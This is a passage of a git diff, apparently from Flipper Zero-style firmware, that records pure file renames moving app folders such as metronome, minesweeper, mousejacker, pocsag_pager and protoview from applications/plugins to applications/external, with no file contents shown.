b/applications/external/lightmeter/lightmeter.png similarity index 100% rename from applications/plugins/lightmeter/lightmeter.png rename to applications/external/lightmeter/lightmeter.png diff --git a/applications/plugins/lightmeter/lightmeter_config.h b/applications/external/lightmeter/lightmeter_config.h similarity index 100% rename from applications/plugins/lightmeter/lightmeter_config.h rename to applications/external/lightmeter/lightmeter_config.h diff --git a/applications/plugins/lightmeter/lightmeter_helper.c b/applications/external/lightmeter/lightmeter_helper.c similarity index 100% rename from applications/plugins/lightmeter/lightmeter_helper.c rename to applications/external/lightmeter/lightmeter_helper.c diff --git a/applications/plugins/lightmeter/lightmeter_helper.h b/applications/external/lightmeter/lightmeter_helper.h similarity index 100% rename from applications/plugins/lightmeter/lightmeter_helper.h rename to applications/external/lightmeter/lightmeter_helper.h diff --git a/applications/plugins/metronome/README.md b/applications/external/metronome/README.md similarity index 100% rename from applications/plugins/metronome/README.md rename to applications/external/metronome/README.md diff --git a/applications/plugins/metronome/application.fam b/applications/external/metronome/application.fam similarity index 100% rename from applications/plugins/metronome/application.fam rename to applications/external/metronome/application.fam diff --git a/applications/plugins/metronome/gui_extensions.c b/applications/external/metronome/gui_extensions.c similarity index 100% rename from applications/plugins/metronome/gui_extensions.c rename to applications/external/metronome/gui_extensions.c diff --git a/applications/plugins/metronome/gui_extensions.h b/applications/external/metronome/gui_extensions.h similarity index 100% rename from applications/plugins/metronome/gui_extensions.h rename to applications/external/metronome/gui_extensions.h diff --git a/applications/plugins/metronome/images/ButtonUp_7x4.png b/applications/external/metronome/images/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/metronome/images/ButtonUp_7x4.png rename to applications/external/metronome/images/ButtonUp_7x4.png diff --git a/applications/plugins/metronome/img/screenshot.png b/applications/external/metronome/img/screenshot.png similarity index 100% rename from applications/plugins/metronome/img/screenshot.png rename to applications/external/metronome/img/screenshot.png diff --git a/applications/plugins/metronome/img/wave_left_4x14.png b/applications/external/metronome/img/wave_left_4x14.png similarity index 100% rename from applications/plugins/metronome/img/wave_left_4x14.png rename to applications/external/metronome/img/wave_left_4x14.png diff --git a/applications/plugins/metronome/img/wave_right_4x14.png b/applications/external/metronome/img/wave_right_4x14.png similarity index 100% rename from applications/plugins/metronome/img/wave_right_4x14.png rename to applications/external/metronome/img/wave_right_4x14.png diff --git a/applications/plugins/metronome/metronome.c b/applications/external/metronome/metronome.c similarity index 100% rename from applications/plugins/metronome/metronome.c rename to applications/external/metronome/metronome.c diff --git a/applications/plugins/metronome/metronome_icon.png b/applications/external/metronome/metronome_icon.png similarity index 100% rename from applications/plugins/metronome/metronome_icon.png rename to applications/external/metronome/metronome_icon.png diff --git a/applications/plugins/minesweeper/LICENSE b/applications/external/minesweeper/LICENSE similarity index 100% rename from applications/plugins/minesweeper/LICENSE rename to applications/external/minesweeper/LICENSE diff --git a/applications/plugins/minesweeper/README.md b/applications/external/minesweeper/README.md similarity index 100% rename from applications/plugins/minesweeper/README.md rename to applications/external/minesweeper/README.md diff --git a/applications/plugins/minesweeper/application.fam b/applications/external/minesweeper/application.fam similarity index 100% rename from applications/plugins/minesweeper/application.fam rename to applications/external/minesweeper/application.fam diff --git a/applications/plugins/minesweeper/assets.h b/applications/external/minesweeper/assets.h similarity index 100% rename from applications/plugins/minesweeper/assets.h rename to applications/external/minesweeper/assets.h diff --git a/applications/plugins/minesweeper/assets/asset b/applications/external/minesweeper/assets/asset similarity index 100% rename from applications/plugins/minesweeper/assets/asset rename to applications/external/minesweeper/assets/asset diff --git a/applications/plugins/minesweeper/assets/mockup.png b/applications/external/minesweeper/assets/mockup.png similarity index 100% rename from applications/plugins/minesweeper/assets/mockup.png rename to applications/external/minesweeper/assets/mockup.png diff --git a/applications/plugins/minesweeper/assets/tile_0.png b/applications/external/minesweeper/assets/tile_0.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_0.png rename to applications/external/minesweeper/assets/tile_0.png diff --git a/applications/plugins/minesweeper/assets/tile_0.xbm b/applications/external/minesweeper/assets/tile_0.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_0.xbm rename to applications/external/minesweeper/assets/tile_0.xbm diff --git a/applications/plugins/minesweeper/assets/tile_1.png b/applications/external/minesweeper/assets/tile_1.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_1.png rename to applications/external/minesweeper/assets/tile_1.png diff --git a/applications/plugins/minesweeper/assets/tile_1.xbm b/applications/external/minesweeper/assets/tile_1.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_1.xbm rename to applications/external/minesweeper/assets/tile_1.xbm diff --git a/applications/plugins/minesweeper/assets/tile_2.png b/applications/external/minesweeper/assets/tile_2.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_2.png rename to applications/external/minesweeper/assets/tile_2.png diff --git a/applications/plugins/minesweeper/assets/tile_2.xbm b/applications/external/minesweeper/assets/tile_2.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_2.xbm rename to applications/external/minesweeper/assets/tile_2.xbm diff --git a/applications/plugins/minesweeper/assets/tile_3.png b/applications/external/minesweeper/assets/tile_3.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_3.png rename to applications/external/minesweeper/assets/tile_3.png diff --git a/applications/plugins/minesweeper/assets/tile_3.xbm b/applications/external/minesweeper/assets/tile_3.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_3.xbm rename to applications/external/minesweeper/assets/tile_3.xbm diff --git a/applications/plugins/minesweeper/assets/tile_4.png b/applications/external/minesweeper/assets/tile_4.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_4.png rename to applications/external/minesweeper/assets/tile_4.png diff --git a/applications/plugins/minesweeper/assets/tile_4.xbm b/applications/external/minesweeper/assets/tile_4.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_4.xbm rename to applications/external/minesweeper/assets/tile_4.xbm diff --git a/applications/plugins/minesweeper/assets/tile_5.png b/applications/external/minesweeper/assets/tile_5.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_5.png rename to applications/external/minesweeper/assets/tile_5.png diff --git a/applications/plugins/minesweeper/assets/tile_5.xbm b/applications/external/minesweeper/assets/tile_5.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_5.xbm rename to applications/external/minesweeper/assets/tile_5.xbm diff --git a/applications/plugins/minesweeper/assets/tile_6.png b/applications/external/minesweeper/assets/tile_6.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_6.png rename to applications/external/minesweeper/assets/tile_6.png diff --git a/applications/plugins/minesweeper/assets/tile_6.xbm b/applications/external/minesweeper/assets/tile_6.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_6.xbm rename to applications/external/minesweeper/assets/tile_6.xbm diff --git a/applications/plugins/minesweeper/assets/tile_7.png b/applications/external/minesweeper/assets/tile_7.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_7.png rename to applications/external/minesweeper/assets/tile_7.png diff --git a/applications/plugins/minesweeper/assets/tile_7.xbm b/applications/external/minesweeper/assets/tile_7.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_7.xbm rename to applications/external/minesweeper/assets/tile_7.xbm diff --git a/applications/plugins/minesweeper/assets/tile_8.png b/applications/external/minesweeper/assets/tile_8.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_8.png rename to applications/external/minesweeper/assets/tile_8.png diff --git a/applications/plugins/minesweeper/assets/tile_8.xbm b/applications/external/minesweeper/assets/tile_8.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_8.xbm rename to applications/external/minesweeper/assets/tile_8.xbm diff --git a/applications/plugins/minesweeper/assets/tile_empty.png b/applications/external/minesweeper/assets/tile_empty.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_empty.png rename to applications/external/minesweeper/assets/tile_empty.png diff --git a/applications/plugins/minesweeper/assets/tile_flag.png b/applications/external/minesweeper/assets/tile_flag.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_flag.png rename to applications/external/minesweeper/assets/tile_flag.png diff --git a/applications/plugins/minesweeper/assets/tile_flag.xbm b/applications/external/minesweeper/assets/tile_flag.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_flag.xbm rename to applications/external/minesweeper/assets/tile_flag.xbm diff --git a/applications/plugins/minesweeper/assets/tile_mine.png b/applications/external/minesweeper/assets/tile_mine.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_mine.png rename to applications/external/minesweeper/assets/tile_mine.png diff --git a/applications/plugins/minesweeper/assets/tile_mine.xbm b/applications/external/minesweeper/assets/tile_mine.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_mine.xbm rename to applications/external/minesweeper/assets/tile_mine.xbm diff --git a/applications/plugins/minesweeper/assets/tile_uncleared.png b/applications/external/minesweeper/assets/tile_uncleared.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_uncleared.png rename to applications/external/minesweeper/assets/tile_uncleared.png diff --git a/applications/plugins/minesweeper/assets/tile_uncleared.xbm b/applications/external/minesweeper/assets/tile_uncleared.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_uncleared.xbm rename to applications/external/minesweeper/assets/tile_uncleared.xbm diff --git a/applications/plugins/minesweeper/img/screenshot.png b/applications/external/minesweeper/img/screenshot.png similarity index 100% rename from applications/plugins/minesweeper/img/screenshot.png rename to applications/external/minesweeper/img/screenshot.png diff --git a/applications/plugins/minesweeper/minesweeper.c b/applications/external/minesweeper/minesweeper.c similarity index 100% rename from applications/plugins/minesweeper/minesweeper.c rename to applications/external/minesweeper/minesweeper.c diff --git a/applications/plugins/minesweeper/minesweeper_icon.png b/applications/external/minesweeper/minesweeper_icon.png similarity index 100% rename from applications/plugins/minesweeper/minesweeper_icon.png rename to applications/external/minesweeper/minesweeper_icon.png diff --git a/applications/plugins/morse_code/application.fam b/applications/external/morse_code/application.fam similarity index 100% rename from applications/plugins/morse_code/application.fam rename to applications/external/morse_code/application.fam diff --git a/applications/plugins/morse_code/morse_code.c b/applications/external/morse_code/morse_code.c similarity index 100% rename from applications/plugins/morse_code/morse_code.c rename to applications/external/morse_code/morse_code.c diff --git a/applications/plugins/morse_code/morse_code_10px.png b/applications/external/morse_code/morse_code_10px.png similarity index 100% rename from applications/plugins/morse_code/morse_code_10px.png rename to applications/external/morse_code/morse_code_10px.png diff --git a/applications/plugins/morse_code/morse_code_worker.c b/applications/external/morse_code/morse_code_worker.c similarity index 100% rename from applications/plugins/morse_code/morse_code_worker.c rename to applications/external/morse_code/morse_code_worker.c diff --git a/applications/plugins/morse_code/morse_code_worker.h b/applications/external/morse_code/morse_code_worker.h similarity index 100% rename from applications/plugins/morse_code/morse_code_worker.h rename to applications/external/morse_code/morse_code_worker.h diff --git a/applications/plugins/mousejacker/application.fam b/applications/external/mousejacker/application.fam similarity index 100% rename from applications/plugins/mousejacker/application.fam rename to applications/external/mousejacker/application.fam diff --git a/applications/plugins/mousejacker/images/badusb_10px.png b/applications/external/mousejacker/images/badusb_10px.png similarity index 100% rename from applications/plugins/mousejacker/images/badusb_10px.png rename to applications/external/mousejacker/images/badusb_10px.png diff --git a/applications/plugins/mousejacker/images/sub1_10px.png b/applications/external/mousejacker/images/sub1_10px.png similarity index 100% rename from applications/plugins/mousejacker/images/sub1_10px.png rename to applications/external/mousejacker/images/sub1_10px.png diff --git a/applications/plugins/mousejacker/lib/nrf24/nrf24.c b/applications/external/mousejacker/lib/nrf24/nrf24.c similarity index 100% rename from applications/plugins/mousejacker/lib/nrf24/nrf24.c rename to applications/external/mousejacker/lib/nrf24/nrf24.c diff --git a/applications/plugins/mousejacker/lib/nrf24/nrf24.h b/applications/external/mousejacker/lib/nrf24/nrf24.h similarity index 100% rename from applications/plugins/mousejacker/lib/nrf24/nrf24.h rename to applications/external/mousejacker/lib/nrf24/nrf24.h diff --git a/applications/plugins/mousejacker/mouse_10px.png b/applications/external/mousejacker/mouse_10px.png similarity index 100% rename from applications/plugins/mousejacker/mouse_10px.png rename to applications/external/mousejacker/mouse_10px.png diff --git a/applications/plugins/mousejacker/mousejacker.c b/applications/external/mousejacker/mousejacker.c similarity index 100% rename from applications/plugins/mousejacker/mousejacker.c rename to applications/external/mousejacker/mousejacker.c diff --git a/applications/plugins/mousejacker/mousejacker_ducky.c b/applications/external/mousejacker/mousejacker_ducky.c similarity index 100% rename from applications/plugins/mousejacker/mousejacker_ducky.c rename to applications/external/mousejacker/mousejacker_ducky.c diff --git a/applications/plugins/mousejacker/mousejacker_ducky.h b/applications/external/mousejacker/mousejacker_ducky.h similarity index 100% rename from applications/plugins/mousejacker/mousejacker_ducky.h rename to applications/external/mousejacker/mousejacker_ducky.h diff --git a/applications/plugins/multi_converter/application.fam b/applications/external/multi_converter/application.fam similarity index 100% rename from applications/plugins/multi_converter/application.fam rename to applications/external/multi_converter/application.fam diff --git a/applications/plugins/multi_converter/converter_10px.png b/applications/external/multi_converter/converter_10px.png similarity index 100% rename from applications/plugins/multi_converter/converter_10px.png rename to applications/external/multi_converter/converter_10px.png diff --git a/applications/plugins/multi_converter/multi_converter.c b/applications/external/multi_converter/multi_converter.c similarity index 100% rename from applications/plugins/multi_converter/multi_converter.c rename to applications/external/multi_converter/multi_converter.c diff --git a/applications/plugins/multi_converter/multi_converter_definitions.h b/applications/external/multi_converter/multi_converter_definitions.h similarity index 100% rename from applications/plugins/multi_converter/multi_converter_definitions.h rename to applications/external/multi_converter/multi_converter_definitions.h diff --git a/applications/plugins/multi_converter/multi_converter_mode_display.c b/applications/external/multi_converter/multi_converter_mode_display.c similarity index 100% rename from applications/plugins/multi_converter/multi_converter_mode_display.c rename to applications/external/multi_converter/multi_converter_mode_display.c diff --git a/applications/plugins/multi_converter/multi_converter_mode_display.h b/applications/external/multi_converter/multi_converter_mode_display.h similarity index 100% rename from applications/plugins/multi_converter/multi_converter_mode_display.h rename to applications/external/multi_converter/multi_converter_mode_display.h diff --git a/applications/plugins/multi_converter/multi_converter_mode_select.c b/applications/external/multi_converter/multi_converter_mode_select.c similarity index 100% rename from applications/plugins/multi_converter/multi_converter_mode_select.c rename to applications/external/multi_converter/multi_converter_mode_select.c diff --git a/applications/plugins/multi_converter/multi_converter_mode_select.h b/applications/external/multi_converter/multi_converter_mode_select.h similarity index 100% rename from applications/plugins/multi_converter/multi_converter_mode_select.h rename to applications/external/multi_converter/multi_converter_mode_select.h diff --git a/applications/plugins/multi_converter/multi_converter_units.c b/applications/external/multi_converter/multi_converter_units.c similarity index 100% rename from applications/plugins/multi_converter/multi_converter_units.c rename to applications/external/multi_converter/multi_converter_units.c diff --git a/applications/plugins/multi_converter/multi_converter_units.h b/applications/external/multi_converter/multi_converter_units.h similarity index 100% rename from applications/plugins/multi_converter/multi_converter_units.h rename to applications/external/multi_converter/multi_converter_units.h diff --git a/applications/plugins/nrfsniff/application.fam b/applications/external/nrfsniff/application.fam similarity index 100% rename from applications/plugins/nrfsniff/application.fam rename to applications/external/nrfsniff/application.fam diff --git a/applications/plugins/nrfsniff/lib/nrf24/nrf24.c b/applications/external/nrfsniff/lib/nrf24/nrf24.c similarity index 100% rename from applications/plugins/nrfsniff/lib/nrf24/nrf24.c rename to applications/external/nrfsniff/lib/nrf24/nrf24.c diff --git a/applications/plugins/nrfsniff/lib/nrf24/nrf24.h b/applications/external/nrfsniff/lib/nrf24/nrf24.h similarity index 100% rename from applications/plugins/nrfsniff/lib/nrf24/nrf24.h rename to applications/external/nrfsniff/lib/nrf24/nrf24.h diff --git a/applications/plugins/nrfsniff/nrfsniff.c b/applications/external/nrfsniff/nrfsniff.c similarity index 100% rename from applications/plugins/nrfsniff/nrfsniff.c rename to applications/external/nrfsniff/nrfsniff.c diff --git a/applications/plugins/nrfsniff/nrfsniff_10px.png b/applications/external/nrfsniff/nrfsniff_10px.png similarity index 100% rename from applications/plugins/nrfsniff/nrfsniff_10px.png rename to applications/external/nrfsniff/nrfsniff_10px.png diff --git a/applications/plugins/playlist/application.fam b/applications/external/playlist/application.fam similarity index 100% rename from applications/plugins/playlist/application.fam rename to applications/external/playlist/application.fam diff --git a/applications/plugins/playlist/canvas_helper.c b/applications/external/playlist/canvas_helper.c similarity index 100% rename from applications/plugins/playlist/canvas_helper.c rename to applications/external/playlist/canvas_helper.c diff --git a/applications/plugins/playlist/canvas_helper.h b/applications/external/playlist/canvas_helper.h similarity index 100% rename from applications/plugins/playlist/canvas_helper.h rename to applications/external/playlist/canvas_helper.h diff --git a/applications/plugins/playlist/images/ButtonRight_4x7.png b/applications/external/playlist/images/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/playlist/images/ButtonRight_4x7.png rename to applications/external/playlist/images/ButtonRight_4x7.png diff --git a/applications/plugins/playlist/images/sub1_10px.png b/applications/external/playlist/images/sub1_10px.png similarity index 100% rename from applications/plugins/playlist/images/sub1_10px.png rename to applications/external/playlist/images/sub1_10px.png diff --git a/applications/plugins/playlist/playlist.c b/applications/external/playlist/playlist.c similarity index 100% rename from applications/plugins/playlist/playlist.c rename to applications/external/playlist/playlist.c diff --git a/applications/plugins/playlist/playlist_10px.png b/applications/external/playlist/playlist_10px.png similarity index 100% rename from applications/plugins/playlist/playlist_10px.png rename to applications/external/playlist/playlist_10px.png diff --git a/applications/plugins/playlist/playlist_file.c b/applications/external/playlist/playlist_file.c similarity index 100% rename from applications/plugins/playlist/playlist_file.c rename to applications/external/playlist/playlist_file.c diff --git a/applications/plugins/playlist/playlist_file.h b/applications/external/playlist/playlist_file.h similarity index 100% rename from applications/plugins/playlist/playlist_file.h rename to applications/external/playlist/playlist_file.h diff --git a/applications/plugins/pocsag_pager/application.fam b/applications/external/pocsag_pager/application.fam similarity index 100% rename from applications/plugins/pocsag_pager/application.fam rename to applications/external/pocsag_pager/application.fam diff --git a/applications/plugins/pocsag_pager/helpers/pocsag_pager_event.h b/applications/external/pocsag_pager/helpers/pocsag_pager_event.h similarity index 100% rename from applications/plugins/pocsag_pager/helpers/pocsag_pager_event.h rename to applications/external/pocsag_pager/helpers/pocsag_pager_event.h diff --git a/applications/plugins/pocsag_pager/helpers/pocsag_pager_types.h b/applications/external/pocsag_pager/helpers/pocsag_pager_types.h similarity index 100% rename from applications/plugins/pocsag_pager/helpers/pocsag_pager_types.h rename to applications/external/pocsag_pager/helpers/pocsag_pager_types.h diff --git a/applications/plugins/pocsag_pager/images/Lock_7x8.png b/applications/external/pocsag_pager/images/Lock_7x8.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Lock_7x8.png rename to applications/external/pocsag_pager/images/Lock_7x8.png diff --git a/applications/plugins/pocsag_pager/images/Message_8x7.png b/applications/external/pocsag_pager/images/Message_8x7.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Message_8x7.png rename to applications/external/pocsag_pager/images/Message_8x7.png diff --git a/applications/plugins/pocsag_pager/images/Pin_back_arrow_10x8.png b/applications/external/pocsag_pager/images/Pin_back_arrow_10x8.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Pin_back_arrow_10x8.png rename to applications/external/pocsag_pager/images/Pin_back_arrow_10x8.png diff --git a/applications/plugins/pocsag_pager/images/Quest_7x8.png b/applications/external/pocsag_pager/images/Quest_7x8.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Quest_7x8.png rename to applications/external/pocsag_pager/images/Quest_7x8.png diff --git a/applications/plugins/pocsag_pager/images/Scanning_123x52.png b/applications/external/pocsag_pager/images/Scanning_123x52.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Scanning_123x52.png rename to applications/external/pocsag_pager/images/Scanning_123x52.png diff --git a/applications/plugins/pocsag_pager/images/Unlock_7x8.png b/applications/external/pocsag_pager/images/Unlock_7x8.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Unlock_7x8.png rename to applications/external/pocsag_pager/images/Unlock_7x8.png diff --git a/applications/plugins/pocsag_pager/images/WarningDolphin_45x42.png b/applications/external/pocsag_pager/images/WarningDolphin_45x42.png similarity index 100% rename from applications/plugins/pocsag_pager/images/WarningDolphin_45x42.png rename to applications/external/pocsag_pager/images/WarningDolphin_45x42.png diff --git a/applications/plugins/pocsag_pager/pocsag_pager_10px.png b/applications/external/pocsag_pager/pocsag_pager_10px.png similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_10px.png rename to applications/external/pocsag_pager/pocsag_pager_10px.png diff --git a/applications/plugins/pocsag_pager/pocsag_pager_app.c b/applications/external/pocsag_pager/pocsag_pager_app.c similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_app.c rename to applications/external/pocsag_pager/pocsag_pager_app.c diff --git a/applications/plugins/pocsag_pager/pocsag_pager_app_i.c b/applications/external/pocsag_pager/pocsag_pager_app_i.c similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_app_i.c rename to applications/external/pocsag_pager/pocsag_pager_app_i.c diff --git a/applications/plugins/pocsag_pager/pocsag_pager_app_i.h b/applications/external/pocsag_pager/pocsag_pager_app_i.h similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_app_i.h rename to applications/external/pocsag_pager/pocsag_pager_app_i.h diff --git a/applications/plugins/pocsag_pager/pocsag_pager_history.c b/applications/external/pocsag_pager/pocsag_pager_history.c similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_history.c rename to applications/external/pocsag_pager/pocsag_pager_history.c diff --git a/applications/plugins/pocsag_pager/pocsag_pager_history.h b/applications/external/pocsag_pager/pocsag_pager_history.h similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_history.h rename to applications/external/pocsag_pager/pocsag_pager_history.h diff --git a/applications/plugins/pocsag_pager/protocols/pcsg_generic.c b/applications/external/pocsag_pager/protocols/pcsg_generic.c similarity index 100% rename from applications/plugins/pocsag_pager/protocols/pcsg_generic.c rename to applications/external/pocsag_pager/protocols/pcsg_generic.c diff --git a/applications/plugins/pocsag_pager/protocols/pcsg_generic.h b/applications/external/pocsag_pager/protocols/pcsg_generic.h similarity index 100% rename from applications/plugins/pocsag_pager/protocols/pcsg_generic.h rename to applications/external/pocsag_pager/protocols/pcsg_generic.h diff --git a/applications/plugins/pocsag_pager/protocols/pocsag.c b/applications/external/pocsag_pager/protocols/pocsag.c similarity index 100% rename from applications/plugins/pocsag_pager/protocols/pocsag.c rename to applications/external/pocsag_pager/protocols/pocsag.c diff --git a/applications/plugins/pocsag_pager/protocols/pocsag.h b/applications/external/pocsag_pager/protocols/pocsag.h similarity index 100% rename from applications/plugins/pocsag_pager/protocols/pocsag.h rename to applications/external/pocsag_pager/protocols/pocsag.h diff --git a/applications/plugins/pocsag_pager/protocols/protocol_items.c b/applications/external/pocsag_pager/protocols/protocol_items.c similarity index 100% rename from applications/plugins/pocsag_pager/protocols/protocol_items.c rename to applications/external/pocsag_pager/protocols/protocol_items.c diff --git a/applications/plugins/pocsag_pager/protocols/protocol_items.h b/applications/external/pocsag_pager/protocols/protocol_items.h similarity index 100% rename from applications/plugins/pocsag_pager/protocols/protocol_items.h rename to applications/external/pocsag_pager/protocols/protocol_items.h diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_receiver.c b/applications/external/pocsag_pager/scenes/pocsag_pager_receiver.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_receiver.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_receiver.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene.h b/applications/external/pocsag_pager/scenes/pocsag_pager_scene.h similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene.h rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene.h diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_about.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_about.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_about.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_about.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_config.h b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_config.h similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_config.h rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_config.h diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_start.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_start.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_start.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_start.c diff --git a/applications/plugins/pocsag_pager/views/pocsag_pager_receiver.c b/applications/external/pocsag_pager/views/pocsag_pager_receiver.c similarity index 100% rename from applications/plugins/pocsag_pager/views/pocsag_pager_receiver.c rename to applications/external/pocsag_pager/views/pocsag_pager_receiver.c diff --git a/applications/plugins/pocsag_pager/views/pocsag_pager_receiver.h b/applications/external/pocsag_pager/views/pocsag_pager_receiver.h similarity index 100% rename from applications/plugins/pocsag_pager/views/pocsag_pager_receiver.h rename to applications/external/pocsag_pager/views/pocsag_pager_receiver.h diff --git a/applications/plugins/pocsag_pager/views/pocsag_pager_receiver_info.c b/applications/external/pocsag_pager/views/pocsag_pager_receiver_info.c similarity index 100% rename from applications/plugins/pocsag_pager/views/pocsag_pager_receiver_info.c rename to applications/external/pocsag_pager/views/pocsag_pager_receiver_info.c diff --git a/applications/plugins/pocsag_pager/views/pocsag_pager_receiver_info.h b/applications/external/pocsag_pager/views/pocsag_pager_receiver_info.h similarity index 100% rename from applications/plugins/pocsag_pager/views/pocsag_pager_receiver_info.h rename to applications/external/pocsag_pager/views/pocsag_pager_receiver_info.h diff --git a/applications/plugins/protoview/LICENSE b/applications/external/protoview/LICENSE similarity index 100% rename from applications/plugins/protoview/LICENSE rename to applications/external/protoview/LICENSE diff --git a/applications/plugins/protoview/README.md b/applications/external/protoview/README.md similarity index 100% rename from applications/plugins/protoview/README.md rename to applications/external/protoview/README.md diff --git a/applications/plugins/protoview/app.c b/applications/external/protoview/app.c similarity index 100% rename from applications/plugins/protoview/app.c rename to applications/external/protoview/app.c diff --git a/applications/plugins/protoview/app.h b/applications/external/protoview/app.h similarity index 100% rename from applications/plugins/protoview/app.h rename to applications/external/protoview/app.h diff --git a/applications/plugins/protoview/app_subghz.c b/applications/external/protoview/app_subghz.c similarity index 100% rename from applications/plugins/protoview/app_subghz.c rename to applications/external/protoview/app_subghz.c diff --git a/applications/plugins/protoview/appicon.png b/applications/external/protoview/appicon.png similarity index 100% rename from applications/plugins/protoview/appicon.png rename to applications/external/protoview/appicon.png diff --git a/applications/plugins/protoview/application.fam b/applications/external/protoview/application.fam similarity index 100% rename from applications/plugins/protoview/application.fam rename to applications/external/protoview/application.fam diff --git a/applications/plugins/protoview/crc.c b/applications/external/protoview/crc.c similarity index 100% rename from applications/plugins/protoview/crc.c rename to applications/external/protoview/crc.c diff --git a/applications/plugins/protoview/custom_presets.h b/applications/external/protoview/custom_presets.h similarity index 100% rename from applications/plugins/protoview/custom_presets.h rename to applications/external/protoview/custom_presets.h diff --git a/applications/plugins/protoview/fields.c b/applications/external/protoview/fields.c similarity index 100% rename from applications/plugins/protoview/fields.c rename to applications/external/protoview/fields.c diff --git a/applications/plugins/protoview/images/ProtoViewSignal.jpg b/applications/external/protoview/images/ProtoViewSignal.jpg similarity index 100% rename from applications/plugins/protoview/images/ProtoViewSignal.jpg rename to applications/external/protoview/images/ProtoViewSignal.jpg diff --git a/applications/plugins/protoview/images/protoview_1.jpg b/applications/external/protoview/images/protoview_1.jpg similarity index 100% rename from applications/plugins/protoview/images/protoview_1.jpg rename to applications/external/protoview/images/protoview_1.jpg diff --git a/applications/plugins/protoview/images/protoview_2.jpg b/applications/external/protoview/images/protoview_2.jpg similarity index 100% rename from applications/plugins/protoview/images/protoview_2.jpg rename to applications/external/protoview/images/protoview_2.jpg diff --git a/applications/plugins/protoview/protocols/b4b1.c b/applications/external/protoview/protocols/b4b1.c similarity index 100% rename from applications/plugins/protoview/protocols/b4b1.c rename to applications/external/protoview/protocols/b4b1.c diff --git a/applications/plugins/protoview/protocols/keeloq.c b/applications/external/protoview/protocols/keeloq.c similarity index 100% rename from applications/plugins/protoview/protocols/keeloq.c rename to applications/external/protoview/protocols/keeloq.c diff --git a/applications/plugins/protoview/protocols/oregon2.c b/applications/external/protoview/protocols/oregon2.c similarity index 100% rename from applications/plugins/protoview/protocols/oregon2.c rename to applications/external/protoview/protocols/oregon2.c diff --git a/applications/plugins/protoview/protocols/pvchat.c b/applications/external/protoview/protocols/pvchat.c similarity index 100% rename from applications/plugins/protoview/protocols/pvchat.c rename to applications/external/protoview/protocols/pvchat.c diff --git a/applications/plugins/protoview/protocols/tpms/citroen.c b/applications/external/protoview/protocols/tpms/citroen.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/citroen.c rename to 